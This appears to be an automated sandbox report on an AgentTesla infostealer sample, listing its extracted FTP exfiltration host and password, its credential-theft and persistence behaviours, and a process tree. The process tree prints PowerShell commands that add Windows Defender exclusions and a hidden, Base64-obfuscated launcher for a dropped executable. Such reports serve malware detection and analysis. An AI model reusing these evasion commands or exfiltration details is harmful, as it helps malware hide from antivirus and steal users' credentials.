Analysis
- max time kernel
150s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
10/09/2026, 11:12
General
- Target aadbe7a2d0e3678fb60bdcaf7d7847e4549686a83d59fa61b727fdb52525b9ce.exe
- Size 951KB
- Sample260910-na2w7abm3x
- SHA256 aadbe7a2d0e3678fb60bdcaf7d7847e4549686a83d59fa61b727fdb52525b9ce
Malware Config
Extracted
-
agenttesla
-
Protocol
ftp
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Host
ftp://ftp.vilimorin.com
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Port
21
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Username
-
Password
~8{l!,Kja^muAXyo
Signatures
- Family: AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Executes dropped EXE 2 IoCs
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Looks up external IP address via web service 1 TTPs 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of SetThreadContext 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 19 IoCs
- Suspicious use of AdjustPrivilegeToken 49 IoCs
- Suspicious use of WriteProcessMemory 13 IoCs
- outlook_office_path 1 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\aadbe7a2d0e3678fb60bdcaf7d7847e4549686a83d59fa61b727fdb52525b9ce.exe"C:\Users\Admin\AppData\Local\Temp\aadbe7a2d0e3678fb60bdcaf7d7847e4549686a83d59fa61b727fdb52525b9ce.exe"1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\aadbe7a2d0e3678fb60bdcaf7d7847e4549686a83d59fa61b727fdb52525b9ce.exe"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
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C:\Users\Admin\AppData\Local\Temp\aadbe7a2d0e3678fb60bdcaf7d7847e4549686a83d59fa61b727fdb52525b9ce.exe"C:\Users\Admin\AppData\Local\Temp\aadbe7a2d0e3678fb60bdcaf7d7847e4549686a83d59fa61b727fdb52525b9ce.exe"2⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
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C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$u01xhs=[System.Environment]::TickCount;$wh3nrj=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$qbd2zh=2915;$v3ybwa=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXENZLmV4ZQ==')));$xjyrgh=$env:COMPUTERNAME;& $wh3nrj -FilePath $v3ybwa"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\CY.exe"C:\Users\Admin\AppData\Roaming\CY.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\CY.exe"3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
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C:\Users\Admin\AppData\Roaming\CY.exe"C:\Users\Admin\AppData\Roaming\CY.exe"3⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
-
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Network
MITRE ATT&CK Enterprise v16
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
2Credentials In Files
2Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_4t51yqda.mqk.ps1
CY.exe
memory/1052-13-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1052-61-0x0000000006BC0000-0x0000000006C10000-memory.dmp
memory/1052-48-0x00000000750B0000-0x000000007586C000-memory.dmp
memory/1052-20-0x00000000750B0000-0x000000007586C000-memory.dmp
memory/1052-17-0x00000000054B0000-0x0000000005516000-memory.dmp
memory/1052-18-0x00000000750B0000-0x000000007586C000-memory.dmp
memory/1408-36-0x0000000075960000-0x00000000759AC000-memory.dmp
memory/1408-19-0x00000000750B0000-0x000000007586C000-memory.dmp
memory/1408-11-0x0000000002850000-0x0000000002886000-memory.dmp
memory/1408-14-0x00000000750B0000-0x000000007586C000-memory.dmp
memory/1408-15-0x0000000005470000-0x0000000005ABA000-memory.dmp
memory/1408-16-0x00000000750B0000-0x000000007586C000-memory.dmp
memory/1408-47-0x00000000750B0000-0x000000007586C000-memory.dmp
memory/1408-44-0x0000000007690000-0x0000000007726000-memory.dmp
memory/1408-43-0x0000000007490000-0x000000000749A000-memory.dmp
memory/1408-35-0x0000000007090000-0x00000000070C6000-memory.dmp
memory/1408-41-0x0000000007A60000-0x00000000080DC000-memory.dmp
memory/1408-22-0x0000000005380000-0x00000000053E6000-memory.dmp
memory/1408-21-0x00000000052E0000-0x0000000005302000-memory.dmp
memory/1408-42-0x0000000007420000-0x000000000743A000-memory.dmp
memory/1408-24-0x0000000005BE0000-0x0000000005F3B000-memory.dmp
memory/1408-27-0x0000000006040000-0x000000000605E000-memory.dmp
memory/1408-28-0x0000000006680000-0x00000000066CC000-memory.dmp
memory/1408-40-0x00000000072D0000-0x0000000007373000-memory.dmp
memory/1408-39-0x0000000006610000-0x0000000006630000-memory.dmp
memory/2552-6-0x00000000750B0000-0x000000007586C000-memory.dmp
memory/2552-8-0x00000000750C2000-0x00000000750C3000-memory.dmp
memory/2552-5-0x0000000005260000-0x00000000052FC000-memory.dmp
memory/2552-4-0x0000000002C30000-0x0000000002C3A000-memory.dmp
memory/2552-1-0x00000000005B0000-0x00000000006A4000-memory.dmp
memory/2552-0-0x00000000750C2000-0x00000000750C3000-memory.dmp
memory/2552-23-0x00000000750B0000-0x000000007586C000-memory.dmp
memory/2552-10-0x0000000008BD0000-0x0000000008CAC000-memory.dmp
memory/2552-7-0x0000000005400000-0x0000000005412000-memory.dmp
memory/2552-2-0x0000000005760000-0x0000000005D1A000-memory.dmp
memory/2552-3-0x00000000050B0000-0x0000000005142000-memory.dmp
memory/2552-9-0x00000000750B0000-0x000000007586C000-memory.dmp
memory/3400-34-0x000002ADA1170000-0x000002ADA11EC000-memory.dmp
memory/3400-29-0x000002AD88870000-0x000002AD88892000-memory.dmp
memory/3720-53-0x0000000005950000-0x0000000005CAB000-memory.dmp
memory/3720-55-0x0000000006310000-0x000000000635C000-memory.dmp
memory/3720-56-0x00000000717A0000-0x00000000717EC000-memory.dmp
memory/3720-59-0x0000000007050000-0x00000000070F3000-memory.dmp